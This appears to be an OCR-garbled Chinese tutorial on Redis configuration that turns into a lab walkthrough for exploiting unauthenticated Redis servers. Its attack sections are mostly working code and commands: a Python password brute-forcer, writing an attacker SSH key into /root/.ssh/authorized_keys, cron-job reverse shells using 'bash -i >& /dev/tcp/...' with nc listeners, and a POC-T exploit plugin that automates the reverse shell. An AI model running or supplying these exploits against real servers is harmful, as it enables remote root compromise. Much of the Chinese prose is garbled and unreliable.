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NISFEEBIERZINARIIAE, MFE S T — KK Fredis#, M RME R HAR XA E B ALK
fEiEm.
EANPEZRE HHEIRER N redisTE 2550 < Hiredis, ERE X IF TN RIRIFEKT

Redis& 7} :

redisE—Mkey-valueZfiE 245, flMemcachedZEfl, EXIFEZEMNvalueERENE S,
BEstring(FRIE). list(58K). set(&H). zset(sorted set ——HF&EE)Mhash (lFH XK
Bl) , IXLEEUEE R HFpush/pop. add/remove RNV EHENEEREFENIERE, ™
BiXEIREH 2R F MR, FEHEM E, redisiF&MAREARAHF ., Smemcached—
¥, ATHRIENE, JBEHSREFENTFY. XM Erediss B RRHIEEFEIES N
BHREFEBUUIRES NEMICE X, HEELERM EXH T master-slave(EM)EL

RedisiE

set testkey "Hello World" # & & #testkeylME N T #FHHello World

get testkey # RV testkey M &
SET score 99 # WHEHscoreflfIfi h99
INCR score # A INCRAr &K scoreffiHg 1
GET score # i scoreffI N2

keys * # B0 TR P A B
get anotherkey # RE— AR IS {E
config set dir /home/test # E T/EH®

config set dbfilename redis.rdb  # W& &M L1E4

config get dir # Ko TAE H o2 Wi E R
config get dbfilename # KA An U4 T B )
save # AT — IR ERAE

flushall WA X
del key MEREE K Kkey 5

RGdISﬁf’EI’E\% .

1. EASETHMIGET &<, FIMUTERMERNEEMEBERE;



2. Redis@AX DL ARNER, setfISETERE—TER;

3. {EMkeys *AI ASIH HETEIEEPRIFR B 5

4. SEHRE— PN A EFENRIER, RedisaiREIT, BI(nil);

5. IRPHEHRETE, TEFANGISEER, lZl]”HeIIo World”;

RedisHic B SC4ARIE :

ERIRedisARSZ AR, FABEGLTSEIEE—MEEXXYE, XHFRSSH
FEM AT DARIRE. B XEHIRENSEERIEITT . Eredis-3.0.1BF TH—"redis.confX
%, XE—TEIANEE X1,

redis.conf XfF R EEWFZHIRESH, REERNAB/LTHIREEXNSE:

1. port 3

B Aport EEZEIROS, Wport 6379, FnRedishRFZ23I§E6379m O LT ISR
LEEFIRINERE,

2. bind8#

B AbindfEEEIPHINE, ATURNSEEZDIPHILE £, Pt 2 BETESE, W
bind 192.168.1.100 10.0.0.1, RREM4IEE192.168.1.100F110.0.0.1F PN IPHit £, w1k
REIEEDLINASEL, NEEEARNAIFTHEIPHE F,

3. save3#

B Asave <> <THE>, RAERENMDHATIEEFEEIEENNZ I Bond
1781 (RedisRHNEHIEE, XENEMMIBBIENETNIERMIE L) , TR
JEEZ MsaveSH, f0:

save 900 1
save 300 10

save 60 10000

KRN BEHIEENNBSECOMEF4E T 1000008 KT, HEI00ME=E T 10X,
HEIOOMWEFT=4E T 1)RNZ, IBAIMENHITRDIRIE,

4. requirepassS#{

%1l RrequirepassGIZIEEMN L, BTIEEEF IR EEZRedisiR B2 FT{ERNE
13, RedisBMIANZIBSHETH, HIEAZTERILBANINEE; BV, EEXHEE—FIRT
Brequirepass foobareda<, WMRETRE, RAFEFHToobaredZ L7 gEEIERedisEl
’BE.

5. dir3¥#

BRI IRIEERRE, BIAJdir /, $5iERedis TEERNHATA R, Hlredis-
serverX HATEMNE R, I8, RedisFAEMNENXHEREXTERT,



6. dbfilenameZ#

B A dbfilename/GIZIEENXHFRTR, FATIEERedis&HXHHNETF, BKIAR
dbfilename dump.rdb, BI&HXERBEFHdump.rdb,

7. configip ¥

BT configan < B LAIEENFIZ B dirs # A K dbfilenameZ#y, ERXEHSLERER (L
WIS HITIEENR) , FilbARedisfEl & X HH IR 7 rename-command S EUR S H # 1T E dp
21#1E, frename-command CONFIG HTCMD, BJLAECONFIGER S EHRRZAHTCMD, L
BXHEIAR BB N CONFIGEH S HITE IR IEMN.,

R

-Redis5.0 5EC & X H1¥#E
https://blog.csdn.net /weixin_42425970/article/details /94132652

FIFRRE:

Redis IR T 2MAEMNIFAL SR, RDBAXFAOFS .
e RDB R 18] LATEFE & HORT (8] (8] FR A A B B4R SE A0 B (8] s 1R BR
o AOF BHAMNMICERRBBNITHMEERIEDS.

ZIEEBEMXIELEMAOFA X EMD BIBEN XA BN Dappendonly.aof, B ATEED &4
qﬂﬁﬂappendﬁlenameuﬁﬁﬂﬁ%$ B EZMAREERZ IR EPHNSIRE
appendfilename, FIAARBEBITAOFA R EM BEREXMHF.

e RDBAREZMHIEEMNSXUEZBIAdumprdb, ttXHEZFBEEFIHERENSIEE
dbfilenameRE X, ERATUEEEX 4.

# B -

wget http://download.redis.io/releases/redis-5.0.5.tar.gz
tar -zxvf redis-5.0.5.tar.gz

cd redis-5.0.5

make

#)a3redisiikss

cd src

./redis-server

A LAFR E BB SRR Bl AR 2 W LABRIA S B S F R 3l )

./redis-server /etc/redis/redis.conf

B H:

ZeEAEEREERMNH M &M
(1) redis’g BB EFIANIE


https://blog.csdn.net/weixin_42425970/article/details/94132652

(2) redisix B 4B E R FEPNipthilt sipER
M320mATFFA, ZRedisfEARENEEH BIREEBRIPIN, HANFRZARPEN,
redisBRIAZARITBINE, FEXERINA.

MR EMAERBERITR:

—. BEIETibt:

bind 0.0.0.0

Protected mode is a layer of security protection, in order to avoid that
Redis instances left open on the internet are accessed and exploited.

When protected mode is on and if

1) The server is not binding explicitly to a set of addresses using the
"bind" directive.
2) No password is configured.

The server only accepts connections from clients connecting from the
IPv4 and IPvE loopback addresses 127.0.0.1 and ::1, and from Unix domain
sockets.

By default protected mode is enabled. You should disable it only if

you are sure you want clients from other hosts to connect to Redis

even if no authentication is configured, nor a specific set of interfaces
are explicitly listed using the "bind" directive.

protected- mode yes

R HE R RE R HE B R R HE B R R HE R R

@ Accept connections on the specified port, default is 6379 (IANA #315344).

JBEredis:

[ root@mail 7] # [redis- server jusr/local/redis/redis.conf

19844: C 13 Aug 2019 15:04:36,128Y # 0000000000000 Redis 1s starting 0000000000000
19844: C 13 Aug 2019 15:04:36. 187 # Redis version=5.0.5, bits=54, commit=00000000, modif
ied=H), pid=9844, just started

19844: C 13 Aug 2019 15:04: 36,187 # Configuration loaded

19844: M 13 Aug 2019 15:04: 36,187 *% Increased maximum number of open files to 10032 [it
was originally set to 1024).

T T T Redis 5.0.5 {00000000/0) 64 bit

.- .- . Y el
( ' , A ] Running in standalone mode
RPN Port: 6379
| - _ / ! | PID: 19844

_ _ _ _ _ }I'r __I __I

| T T | http: //redis. io

19844: M 13 Aug 2019 15:04: 36,188 # WARNING: The TCP backlog setting of 511 cannot be en
forced because /fproc/sys/net/core/somaxconn is set to the lower value of 128,

192844: M 13 Aug 2019 15:04: 36,188 # Server initialized

19844: M 13 Aug 2019 15:04: 36,188 # WARNING overcommit memory is set to 0! Background sa
ve may fail under low memory condition. To fix this issue add 'wvm.overcommit _memory =1
' to fetc/sysctl,conf and then reboot or run the command 'sysctl vm, overcommit memory=1
" for this to take effect.

19844: M 13 Aug 2019 15:04: 36,188 # WARNING you have Transparent Huge Pages [ THP] suppor
t enabled in your kernel, This will create latency and memory usage issues with Redis.

To fix this issue run the command 'echo never > /sys/kernel/mm/transparent_hugepage/ena
bled' as root, and add it to your /fetc/rc.local in order to retain the setting after a

reboot. Redis must be restarted after THP is disabled.

19844: M 12 Aug 2019 15:04: 36,188 % DB loaded from disk: 0,000 seconds

19844: M 13 Aug 2019 15:04:36. 188 % Ready to accept connections

EiZredis, AINERREEAKRRIFER




[ root@mail ~]# redis-cli -h 192,168,1.154
192.16%8,1.154: 6379 info

# Server

redis version:5,0.5%

redis git shal: 00000000

redis git dirty:0

redis_build id:14el349%47faz519

redis mode: standalone

os: Linux 3,10,0-957,10,1,el7, x86 64 x36 B4
arch bits:64

multiplexing api: epoll
atomicvar_api: atomic- builtin

gcc version:4.8.5

process _1id:19344

run_id: e034d7azbl 43721 ed922 feSed/7eb28 145051 d20
tcp_port: 6379

uptime in seconds:?¥

uptime_in_days: 0

hz: 10

configured hz:10

Tru_clock: 539387395

executable: /root/redis- server

config file: fusr/local/redis/redis, conf

# Clients

connected clients:1

client _recent max_input buffer::Z
client recent max output buffer:0
blocked clients:0

# Memory

used memory: 854240

used memory human: 334, 22K

used memory rss:57Z26Z08

used memory rss_human: 5., 46M
used memory peak: 854240

used memory peak human: 834, 22K
used memory peak perc:100.12%
used memorv overhead: 841038

—. BUHgRE Lt

itbind 127.0.0.1
.

Protected mode is a layer of security protection, in order to avoid that
Redis instances left open on the internet are accessed and exploited.

When protected mode is on and if:

1) The server is not binding explicitly to a set of addresses using the
"bind" directive.
2) No password is configured,

The server only accepts connections from clients connecting from the
IPv4 and IPvE locpback addresses 127.0,.0.1 and ::1, and from Unix domain
sockets,

By default protected mode is enabled. You should disable it only if

you are sure you want clients from other hosts to connect to Redis

even if no authentication is configured, nor a specific set of interfaces
are explicitly listed using the "bind" directive,

#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
protected- mode yes 4

[Enredis#1T & F M1 :



[ root@mail 7] # redis-cli -h 192,163,1,154
192,168,1,154: 6379 info
DENIED Redis is running in protected mode because protected mode is enabled, no
bind address was specified, no authentication password is requested to clients.
In this mode connections are only accepted from the loopback interface. If you w
ant to connect from external computers to Redis you may adopt one of the followi
ng solutions: 1) Just disable protected mode sending the command 'CONFIG SET pro
tected- mode no' from the loopback interface by connecting to Redis from the same
host the server is running, however MAKE SURE Redis is not publicly accessible
from internet if you do so. Use CONFIG REWRITE to make this change permanent. 2)
Alternatively you can just disable the protected mode by editing the Redis conf
iguration file, and setting the protected mode option to 'no', and then restarti
ng the server. 3) If you started the server manually just for testing, restart i
t with the '--protected-mode no' option. 4) Setup a bind address or an authentic
ation password, NOTE: You only need to do one of the above things in order for t
he server to start accepting connections from the outside,
192.168.1.154: 63792 []

AIMNEIEAEIMNER, ERXERTHL.

=, FoEE, XARSEN:

#bind 127.0.0.1
b

Protected mode is a layer of security protection, in order to avoid that
Redis instances left open on the internet are accessed and exploited.

When protected mode is on and if

1) The server is not binding explicitly to a set of addresses using the
"bind" directive.
2] No password is configured,

The server only accepts connections from clients connecting from the
IPv4 and IPv6 loopback addresses 127,0,0,1 and ::1, and from Unix domain
sockets,

By default protected mode is enabled. You should disable it only if

you are sure you want clients from other hosts to connect to Redis

even 1f no authentication is configured, nor a specific set of interfaces
are explicitly listed using the "bind" directive.

by
by
by
by
by
by
by
b
by
by
b
b
by
by
b
by
by
protected- mode no 4=——o

EFM:



[ root@mail "] # redis-cli -h 192.168.1.154
192,168,1.154: 6379 info

# Server

redis version:5,0.%

redis git shal: 00000000

redis git dirty:0

redis_build id:14el949547faz319

redis mode: standalone

os: Linux 2,10,0-957,10,1,el7,.x286 B4 x36 B4
arch_bits: &4

multiplexing api: epoll
atomicvar_api:atomic- builtin

gcc_version: 4,8.5

process id:zZ0EZ7

run_id: 4¢501 ¢l dbl b4058%eat ce565065F1229c2030bbd
tcp _port: 6379

uptime in seconds:11

uptime in days: 0O

hz:10

configured hz:10

lru_clock: 5395316

executable: /root/redis- server

config file: fusr/local/redis/redis. conf

# Clients

connected clients:1

client recent max_input buffer:Z

client recent max output buffer: 4100200
blocked clients: 0

FTAYE AR A A )R AR ER -

1. RAFBEZFRIAE, ¥redis48EZ]7T0.0.00
2. RABEFINE, REFEredisE{F@ithit (LLEM{ERIpERATIINIEE]) , BREXARFIE
=

vk kR

windows FiredisZ i T &k
https://github.com/caoxinyu/RedisClient /releases

R

#O4: 192.168.1.154 centos?7
WHEH: 192.168.1.153  centos?

R TBEHTHER2 :

# _x_ coding:utf-8 _*_
import socket
import sys
PASSWORD_DIC=
['redis','root','oracle', 'password', 'p@aaw@rd','abc123!"','123456"', " 'admin']
def check(ip, port, timeout):

try:


https://github.com/caoxinyu/RedisClient/releases

socket.setdefaulttimeout (timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send ("INFO\r\n'")
result = s.recv(1024)
if "redis_version" in result:
return u"ARERLY) "
elif "Authentication" 1in result:
for pass_ in PASSWORD_DIC:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send ("AUTH %s\r\n" %(pass_))
result = s.recv(1024)
if '"+OK' in result:
return u"fE7ESS 104, . %s" % (pass_)
except Exception, e:
pass
if __name__ == '__main__"':
ip=sys.argv[1]
port=sys.argv[2]
print check(ip,port, timeout=10)

BIZ{ERSRA:

py —2 redis.py 192. 168. 1. 1564 6379

—. 5 ssh-keygen N AR RIRZ R

FIFRRRE:

MEFIHE— TSSHR A E RARIE:
SSHIREMMMERIIEA N, —MEOLKRIMELMERSEBESR, Z—MHERARIL.
FTBRTAIIE, HXME—METARBEBRINE ERQHEME. LBRE, HRABREN
MAFFRY, MERS R, KA MEE—TAHMREMERESSHIZZE RARSZHEF, M
HAERBNREMECHE, AHANBNEERENATERE, KMEIRENT:



(5) RRSFH[WRNFFImARNBRLER, SECNZTERNBIEALS, E—FNRITFE
x, RA—HEFMELER,

REAFM:

1. RedisfREZEAROOTKS/FEN
2. BREBFFFMTSSHIRS, MEAFERZRAESR, BIAZEEAN—TAH, BEEERiniz
ARE 23,

redisHl{THISS:

192.168.1.154:6379>config set dir /root/.ssh/

192.168.1.154:6379>config set dbfilename authorized_keys
192.168.1.154:6379>set x "\n\n\n ssh-rsa
AAAAB3NzaClyc2EAAAADAQABAAABAQCAPp3/tfIlmHhVKuaR5CkdOuuv98Q6AUsSZPOZIrrb8aR
WniTNCdUvV7gfW5ctZxROXfUF+tvnd6So8MwR7OAWNgaCsWrsUBPzIXcR1Z189M1G9KulUOgF3
rANKQ8dqZivouvs1DcgkyqWil1652tAQ+4xS81/mhFeSOdxjajttcrzmirFI9DPz1sKTzfbMpUYu
pRAO17GikdB9dhPzH3xQ40em4UMeZbznPuT861msmNLByh3ni+szdrF8yqwbPkVSDDbULFCppF
IN+Fykra5Uuc/tkXZaxgAjBWdpeFsLnMP1BWKoN1BIpzwZHgG2iKLT7PJIS5bgx+RdkD7XJy9eq
XL root@mail.test.com \n\n\n"

192.168.1.154:6379> save

BEHRIE:

1. AERAA M
BENBANNABXHRE—THH

NASHERIAERTR . /root/.ssh/id_rsa.pub

[ rootBmail "] # ssh-keygen -t rsa o

Generating public/private rsa key pair.

Enter file in which to save the key (frootf.sshfid_rsaj:,“h

Created directory '/root/.ssh'.

Enter passphrase [empty for no passphrase): =

Enter same passphrase again: <

Your identification has been saved in /root/.ssh/id rsa.

Your public key has been saved in /froot/.ssh/id rsa. pub,

The key fingerprint is:

SHAZEE: Cae?YvDYayQCHGIWZ ZnuOkIVvVSyDoBppgespD3hzSc root@mail, test. com

The key's randomart image is

+--[RSA 20438]----+

|.+H+.. |
| +B. = oo |
|0 0.0.,0 . |
|o..00, + . |
|ooo .. S |
| ot .

|=to0 .. |
|to=% ..E |
. =t |

+ - -- [ SHAZGB] - -- - - +

[ root@mail "1 # cd /root/.ssh/

[ root@mail .ssh]# 1s

id rsa 1id rsa.pub

[ root@mail .ssh]# cat id rsa. pub

ssh- rsa AAAAB3NzaCl ycZEAAAADAQABAAABAQCAPP3/tfIlmHhVKuaR: CkdduuvasQEAusZPIZIrrbs

aRWniTNCdUvV? gTWo ctZxROXTUF+HvndE So8MwR7OAWNgaCsWrsUBPzJIXcRl Z129ML GIKuLUOgF3 rANK

Q3dqZivouvsl DcgkyqWil 852 tAQ+H xS81i/mhFeSOdxjajttcrzmirFaDPzlsKTzfbMpUYUpRAOLY Gikd

B3dhPzH3xQ40emdUMeZbznPuT381l msmNLByh3ni+szd rF8yqwbPkVSDDbULFCppFaN+FykraSUuc/ thX

ZaxgAjBwWdpeFsLnMP1BWKoNl BJpzwZHgGZ iKLT7PJISEbgx+HRdkD7 XIy9eqXL root@mail, test, com

[ root@mail ,ssh] #

2. BERENIF A redis :




[ root@mail .ssh]# redis-cli -h 192,163,1.154
192.168,1.154: 379> config get dir

1) "dir"

2] "/root"

192.168,1,154: 6379> config get dbfilename

1) "dbfilename"

2] "dump. rdb"

192,1658.1.154: 6379

AR AREPMIININEICELE THIRENBERNX MR, MEliticEnE

3. FFredistIBIEE M INEEMB RN B M E RN /redis/ssh/ HPXHERN authorized_keys

192.168,1.,154: 6379> config set dir froot/.ssh/

oK

192,168.1.154: 6373> config set dbfilename authorized keys
oK

4. lE—RME:
(1) E#lid_rsa.pubXHHIAE

ssh-rsa

AAAAB3NzaClyc2EAAAADAQABAAABAQCAPp3/tfIlmHhVKuaR5CkdOuuv98Q6AUSZP9ZIrrb8aR
WniTNCdUvV7gfW5ctZxROXfUF+tvnd6So8MwR7OAWNgaCsWrsUBPzIXcR1Z189M1GOKulUOgF3
rANKQ8dqZivouvs1DcqkyqWil1652tAQ+4xS81/mhFeSOdxjajttcrzmirF9DPz1sKTzfbMpUYu
pRAO17GikdB9dhPzH3xQ40em4UMeZbznPuT861msmNLByh3ni+szdrF8yqwbPkVSDDbULFCppF
IN+Fykra5Uuc/tkXZaxgAjBWdpeFsLnMP1BWKoN1BIpzwZHgG2iKLT7PIS5bgx+RdkD7XJy9eq

XL root@mail.test.com

(2) BIZ—T B Ix BENLNAXGEANAS

192.168.1.154: 6379 set x "yninyn ssh-rsa AAAAB3NzaClycZEAAAADAQABAAABAQCAPP3 /tfIlmHhVKuaR5CkdOu
uv9206AUSZPIZIrrbZaRWniTNCAUVVYY gfWo ctZxROXFUF+HvndESoEMWR7 D AwNgaCsWrsUBPzIXcRl Z139ML GIKulUOgF3 rA
NKQ&dgZivouvsl DegkygqWil 652 tAQ+HxS81/ mhFeSOdxjajttcrzmirF9DPz 1sKTz TbMpUYupRAOL7GikdBIdhPzH3xQ40em
4UMeZbznPuT861 msmNLByh3ni+szd rFSyqwbPkVSDDbULFCppFIN+FykraSUuc/ tkXZaxgAjBWdpeFsLnMP1BWKoNL BlpzwZ
HgGZiKLT7PJSSbax-+RdkD7XJy9eqXL root@mail. test.com ‘nn%n"

0K

192,168,1,154: 6379 save

oK

192.168.1.154: 6379

(3) FIRATASH AR IS N 9 FA FA#E 1T sshE fii -




[ root@mail .ssh]# ssh -i froot/.ssh/id_rsa root@l92 1631
The authenticity of host '192.168.1.154 (192.168.1.154)"
ECDSA key fingerprint is SHAZ56: I6kZ2ZXIUdb/PALXyCYTBD7Rb/
ECDSA key fingerprint is MDG:1Z2:ac:Gf:de: cb:67: fO: b7:81: 9
Are you sure you want to continue connecting (yes/no)? ye
Warning: Permanently added '192,168.1.1%4' [ECDSA) to the
Last login: Tue Aug 13 14:46:34 2019
[ root@mail ~]# ifconfig
docker(: flags=4099<UP, BROADCAST, MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255,255,0,0 broadcast 1
ether 02:42: c5:6f: 8f:8c  txqueuelen O (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped O overruns O frame O
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped O overruns 0 carrier 0 col

ens33: flags=4163<UP, BROADCAST, RUNNING, MULTICAST> mtu 15
inet[192,168,1.154] netmask 255,255.255.0 broadc
inett feB0::15f: f764: d9e2: 4b97 prefixlen 64 sco
ether 00:0c:29:0e:54: 4a  txqueuelen 1000 (Ethern
RX packets 16346 bytes 1511612 (1.4 MiB)

RX errors 0 dropped O overruns 0 frame O
TX packets 1574 bytes 230055 (224.6 KiB)
TX errors 0 dropped O overruns 0 carrier 0 col

lo: flags=/3<UP, LOOPBACK, RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inetf ::1 prefixlen 128 scopeid Ox10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 254 bytes 63572 (62,0 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 254 bytes 63572 (62,0 KiB)
TX errors O dropped O overruns 0 carrier 0 col

virbrl: flags=4099 <P, BROADCAST, MULTICAST mtu 1500

RX packets 0 bytes 0 (0.0 B)

RX errors 0 dropped O overruns O frame O

TX packets 0O bytes 0 (0.0 B)

TX errors 0 dropped O overruns 0 carrier 0 col

[rootémail 14 B

[ root@mail "] # exit

=i

Connection to 192.162.1.154 closed.

-
ssh-keygen -t rsa
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n
cat foo.txt | redis-cli -h x.x.x.x -x set crac

redis-cli -h x.x.x.x
> config set dir /root/.ssh/
> config get dir
> config set dbfilename "authorized_keys"

> save

ssh -1 did_rsa root@x.x.X.X

windows TFlIfsshiEE T B4 B/

R Fxshell4E AL A FA S -

154 g

can't be established.
mYKT9stnHgqADFyuekg.
a: 7er 23: e3: cor fl: dB.
S —

list of known hosts,

F2.17.255.255

lisions 0
[als]
ast 192,168,1,255

peid 0x20<link:
et)

lisions 0

lisions O

inet 192.168.122.1 netmask 255.255.255.0 broadcast 192,163,122, 255
ether 52:54:00:11:14: dd txqueuelen 1000 (Ethernet)

lisions 0

")y > foo.txt

kit



W& Xshell 6 (Free for Home/School) — O X
: P HwEE) E&EENV) 1R #EmERB) sJ0OwW) #EiH)

- B - EEEBAFRE=EN Q = F -
Sun (Solaris) thtEE

& 7], IPiEtes FR
o L ENEEEEEH)...
_ 2 BAr=EdEsEE)..
. FEZAEFEHEEMRRIS(W)...
shell 6 (Build 8125) ,
pyright (c) Net| ¥ L Xagent FFia(A) ghts rese

help' to learn h REEEISM)...

5 BESEO..
HERSEQ)...

= EEEN(P). .
F s=HETREQL)..

TR W)
HZ(R)
F RIS ().
FAGES(N)...
& ¥IH(O0)...
=i ERPERPBEERRS”
FEEFEHERERS
Sl

EiAERI R M ERSSHIDARAREE, SSH1HBEFRHRSAEE, SSH2RILUFHRrEEHRZE

EO
¥

ESRZSE(T): |RSA w
FENKEERT 2RSS, SEVARSPEHARENRIEAIN 10241,

/

SERKE(L): 2048 v| fiz

B M.

N

T

|
.I:F
|.| 0

F—#F(N) >

i
=
)
i

aEENEE, RERE T—%



FreERrFERERES >
2048 { RSA AP E IETE AL, B R ..
001101111100000001010110
110110010101000100100100
010110000001101111111110
101110010011111101101001
110000011101010011100001
] 1nm
BRI ERL,
BERG" M "B AEPEHIERERE,
< F—#(B) | F—2(N)=> ok BB
NIANEZREN, Rt T—%
FreERrFERERES ? e
APEREs Pingaz
A e
EENFHPERRIETR,
e
EEREFR(K): |id_rsa_2048
BN HPERIEEE.
\ ES(P); (eeeses
FHIA(C): llllll| (EFMEANER)
Bl " LIEEE AT S SHERSRE EiEAm A BaN5eA,
< F—#(B) | PN = Fohk Euig

BMA—TEAMBNEZL, BTHNTEZER



RFEsA ?

E#R el =E HERE(G)...
2id rsa RSA 2048 bits _
id _rsa_2048 RSA 2048 bits REAE(P)
HiP(D)
SH(E)...
e
INBRHELEN
id_rsa_ 2048 Ei% ? X
P
5 LA
ERRERN(P): SSH2 - OpenSSH w
ssh-rsa

AAAAB3NzaClyc2EAAAABIWAAAQEAWOUVOgUWHZBKaZTKrkK13ug
W4FqBOaiWnzFTRoLIGs8PTgzKBK
+/xePFWB3PNqVeKgDB2uFCGj3GXIAjGqgSXIsfZsHGXsHmM4WIITodw
ep7PPyA4pZ+PNg
+tTt9xyindo2VNNBbOR71Zc51Y75HYHXWIqgv/jYm9lXWclXs9Qrmad
nazu2GCCWzZSBjvHENSHIC+ONOWZcd+H/ed
+UiGIrtZoycTXcFKM6n/5U7z
+id2Q4UENQpFmMTOqPUS0+2Q6VLIKGZU3egnlTwnll7 mvupVZF4CQv
PSB5M6ELTtTmgr5alUnkJemUalh7I19WzfF
+9DkspnNOZznabkK7IM5qv7y/w== rsa 2048-082619

RFAHE(S).

EE 0

ERIAPAEENAS, EEHA,

POC-THEZR T3 Rz AR :



TeALE+] .

from 192.168.1.211 0C-T- y —2 POC-T.py —s redi

(0.0 B)
Version 2.0.5 by cdxy mail:

by . 1 found | 0 remaining | 1 scanned i

F FxshelE#EENH] :
FRaEEY ; -

2E5I(0):

B FFR(N): ‘ ssh_key ‘

L TR (P): ) SSH ~
o EHL(H): \‘192.168.1.1544 ‘

SFTP
RLOGIN woser [z E
- RLOGIN hd
- SERIAL HEA(D):
o R

VT B EEE

g;fg& (e nas N aaEEEA)

-EL EREV): 0 Sl BmEL: 0 ~|
%Hj - -
LA
- TCPEIR
-
- H5ic®: fEANagleEiZE(U)
bR
-~ X/YMODEM
. ZMODEM

E=E HEE B

AL EER, BABPRARARREQPER:



SSHAEFRS435IE ? X

TR 192.168.1.154:22 (ssh_key)

€
gF:E: root Aﬁ
il r e ivh SSH2, OpenSSH 7.4
B FEEFR SNSRI HHRHESRENES.
(O Password(P)
ZEEW):
(@ Public Key(U)
-
HEPEHEK): | id rsa 2048 v FE(B)...
%(ﬂ}: A' LI XYY
Keyboard Interactive(l)
TEREERA AP S EAE,
[ iCE=1B(R)
HHE EliE

MABNEESNZBAEEM. (BEMER0BTIERRNBNEG)

=. FAHRESREshell

FIFR AR

/var/spool/cron/ H & NI A LSS H P i 4 v RIME S SO, rootH P AT Mg U = H
PRI S . dbfilenamei% & A4 root A rootH F AU B AT T RIMT4S o

M7 L R3#Eshel(Bit (IESHEBEREEFENA P ITIIES).S X4 Z A5 3REdird
dbfilenameffE, MAEREredisECE, HFARERIRME, BERERM.

BENFRMG:
EEredisEroot HFBE)

redisHl{THI &

#3REd rE

config get dir

#3K1Idb i lenamefJ{H

config get dbfilename
#UBCE B A0 H s 0 Vinux b R S5 H 3k
config set dir '/var/spool/cron/'

#BCE A U4 K root, Blroot S AT HHRIMESS



config set dbfilename 'root'

#H A B A Hs 122 1 T key

flushall

#BCEBAMAS, ETTRIES R IMABAT U IR B RIS 7T AR W b, seab vl A
HA M luailif).

eval "redis.call('set','cron',string.char(10)..ARGV[1]..string.char(10))"
0 '"x/1 *x x *x *x bash -1 >& /dev/tcp/127.0.0.1/8080 0>&1'

#RAF

save

#IH B K key

del cron

#KE dirflidbfilename

config set dir '#xx'

config set dbfilename '**x*'

B{RERE:
1. WG EIFEEshellfVim O :

nc -lvnp 4444

[root@®mail .ssh]# nc - lvnp 4444

Ncat: Version 7.50 { https://nmap.org/ncat )
Ncat: Listening on :::4444

Ncat: Listening on 0.0.0,0:4444

2. EREMBERNXGRANERNESNERMXMH:

192.168.1.154:6379> set x "\nx *x x x *x bash -i >&
/dev/tcp/192.168.1.153/4444 0>&1\n"

192.168.1.154:6379> config set dir /var/spool/cron/
192.168.1.154:6379> config set dbfilename root
192.168.1.154:6379> save

MATIZAE:

102.168.1.154: 6379 set x "\n¥ % % % % bash -i >& /dev/tcp/192.168.1.153/4444 0&1\n"
552.168.1.154:63?9> config set dir /var/spool/cron/

552.168.1.154:63?9> config set dbfilename root

552.168.1.154:63?9> save

?52. 168.1.154: 6379 quit

3. MfT5Eredis@i<fa, [EEMEITAILIHTTE:




[ root@mail .ssh]# nc - lvvp 4444
Ncat: Version 7,50 [ https: //nmap,org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0,0,0,0: 4444
Ncat: Connection from 192, 163,1,154,
Ncat: Connection from 192 168.1,154:53322,
bash: It shell #7 iE& =l
[ root@mail ~]# ifconfig
ifconfig
docker): flags=4099<UP, BROADCAST, MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255,255.0,0 broadcast 172,17,255,2556
ether 02:42: c5:6f: 8f:8c  txqueuelen O [(Ethernet)
RX packets O bytes 0O (0,0 B)
RX errors 0 dropped 0 overruns 0O frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped O overruns 0 carrier 0 collisions 0

ens33: flags=4163 <P, BROADCAST, RUNNING, MULTICAST> mtu 1500
inef 192.168.1.154 netmask 255.255.255.0 broadcast 192.168.1.255
iMeth fel0::151: f764d: d9ez: 4b97 prefixlen 64 scopeid OxZ0<link>
ether 00:0c:24:0e:54:4a txqueuelen 1000 (Ethernet]
RX packets 34110 bytes 3103193 (2.9 MiB)
RX errors 0 dropped 0 overruns 0O frame O
TX packets 3168 bytes 443615 [433,2 KiB)
TX errors 0 dropped O overruns 0 carrier 0 collisions 0

lo: flags='3<UP, LOOPBACK, RUNNING> mtu 65536
inet 127.0,0,1 netmask 255,0,0.0
inetf ::1 prefixlen 1228 scopeid Ox10<host:
loop txqueuelen 1000 (Local Loopback)
RX packets 254 bytes 63572 (62,0 KiB)
RX errors 0 dropped 0 overruns 0 frame 0O
TX packets 254 bytes 63572 [62.0 KiB)
TX errors O dropped O overruns 0 carrier 0 collisions O

virbr0: flags=4099<UP, BROADCAST, MULTICAST> mtu 1500
inet 192.162.122.1 netmask 255,255 .255.0 broadcast 192,168,122 255
ether 52:54:00:11:14: dd txqueuelen 1000 (Ethernet)
RX packets O bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0O
TX packets 0 bytes 0 (0.0 B)
™ errors 0 drooped 0 overruns 0 carrier (0 ecollisions 0

FE—IREEEAREE REEIshell, RENENMAX M shellFoiE#H{Tifconfig
ﬁ?ﬂbjﬂ%/ﬁﬁ'%ﬂiﬁ, ZiARSifconfig27E /usr/bin/BE T, MbashBEIAZTE

ot

fRIRTE:

ln -s /usr/sbin/ifconfig /usr/bin/ifconfig

xy mail:i@cdxy.me }

il ~]# exit
xit

POC-THEZREMF AMND:

import redis




from plugin.util import host2IP

from plugin.util import randomString

listen_ip = '192.168.1.222"' # your public IP and Port
listen_port = 9999

def poc(url):
url = host2IP(url)
ip = url.split(':")[0]
port = dint(url.split(':'")[-1]) if ':' in url else 6379
try:

r = redis.Redis(host=ip, port=port, db=0, socket_timeout=10)

if 'redis_version' in r.info():
payload = '"\n\n*/1 * * * *x /bin/bash -i >&

/dev/tcp/{ip}/{port} 0>&1\n\n'.format(ip=listen_ip,port=str(listen_port))

path = '/var/spool/cron'
name = 'root'
key = randomString(10)
r.set(key, payload)
r.config_set('dir', path)
r.config_set('dbfilename', name)
r.save()
r.delete(key) # iSRRI
r.config_set('dir', '/tmp'")
return True

except Exception:

return False

return False

=. FlIFBredisEwebshell

